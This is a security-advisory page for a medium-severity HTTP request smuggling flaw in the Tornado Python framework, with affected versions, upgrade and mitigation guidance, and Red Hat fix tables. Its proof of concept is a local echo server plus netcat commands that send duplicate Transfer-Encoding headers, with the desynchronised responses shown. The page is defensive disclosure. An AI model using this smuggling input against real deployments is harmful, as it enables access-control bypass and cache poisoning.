Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') in tornadoGHSA-753j-mpmx-qq6g
MEDIUMFix: tornadoweb/tornado@d65f6e7GHSA-753j-mpmx-qq6g is a medium-severity (CVSS 5.3) CWE-444 vulnerability in tornado. A fix is available for tornado — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-753j-mpmx-qq6g.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
tornadoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
When Tornado receives a request with two Transfer-Encoding: chunked headers, it ignores them both. This enables request smuggling when Tornado is deployed behind a proxy server that emits such requests. Pound does this.
PoC
- Install Tornado.
- Start a simple Tornado server that echoes each received request's body:
cat << EOF > server.py
import asyncio
import tornado
class MainHandler(tornado.web.RequestHandler):
def post(self):
self.write(self.request.body)
async def main():
tornado.web.Application([(r"/", MainHandler)]).listen(8000)
await asyncio.Event().wait()
asyncio.run(main())
EOF
python3 server.py &
- Send a valid chunked request:
printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000
- Observe that the response is as expected:
HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:32:05 GMT
Content-Length: 1
Z
- Send a request with two
Transfer-Encoding: chunkedheaders:
printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000
- Observe the strange response:
HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:35:40 GMT
Content-Length: 0
HTTP/1.1 400 Bad Request
This is because Tornado believes that the request has no message body, so it tries to interpret 1\r\nZ\r\n0\r\n\r\n as its own request, which causes a 400 response. With a little cleverness involving chunk-exts, you can get Tornado to instead respond 405, which has the potential to desynchronize the connection, as opposed to 400 which should always result in a connection closure.
Impact
Anyone using Tornado behind a proxy that forwards requests containing multiple Transfer-Encoding: chunked headers is vulnerable to request smuggling, which may entail ACL bypass, cache poisoning, or connection desynchronization.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | tornado | all versions | 6.4.1pip install --upgrade 'tornado==6.4.1' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tornado, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update tornado to 6.4.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-753j-mpmx-qq6g is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
A flaw was found in Tornado's HTTP request header processing. When processing HTTP requests containing duplicate Transfer-Encoding: chunked headers, Tornado ignores the headers and treats the request as body-less, leaving the chunked body unparsed in the stream. When deployed behind a front-end proxy or load balancer,…
Configure upstream reverse proxies or load balancers to strictly normalize HTTP headers and reject any incoming requests containing duplicate Transfer-Encoding headers before they reach the backend Tornado application worker.Source: Red Hat security advisory for GHSA-753j-mpmx-qq6g (CC BY 4.0)
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Enterprise Linux 8 | pcs-0:0.10.18-2.el8_10.10 | RHSA-2026:84798 |
| Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support | pcs-0:0.10.8-1.el8_4.12 | RHSA-2026:84843 |
| Red Hat Enterprise Linux 8.6 Extended Update Support Long-Life Add-On | pcs-0:0.10.12-6.el8_6.14 | RHSA-2026:85135 |
| Red Hat Enterprise Linux 8.8 Telecommunications Update Service | pcs-0:0.10.15-4.el8_8.12 | RHSA-2026:84844 |
| Red Hat Enterprise Linux 9 | python-tornado-0:6.4.2-1.el9_5 | RHSA-2024:10590 |
| Red Hat Enterprise Linux 9 | pcs-0:0.11.8-1.el9_5.2 | RHSA-2025:2471 |
| Red Hat Enterprise Linux 9.2 Extended Update Support | python-tornado-0:6.4.2-1.el9_2 | RHSA-2024:10836 |
| Red Hat Enterprise Linux 9.2 Extended Update Support | pcs-0:0.11.4-7.el9_2.4 | RHSA-2025:3108 |
Frequently Asked Questions
Is GHSA-753j-mpmx-qq6g in your dependencies?
Find it across PyPI, including transitive dependencies.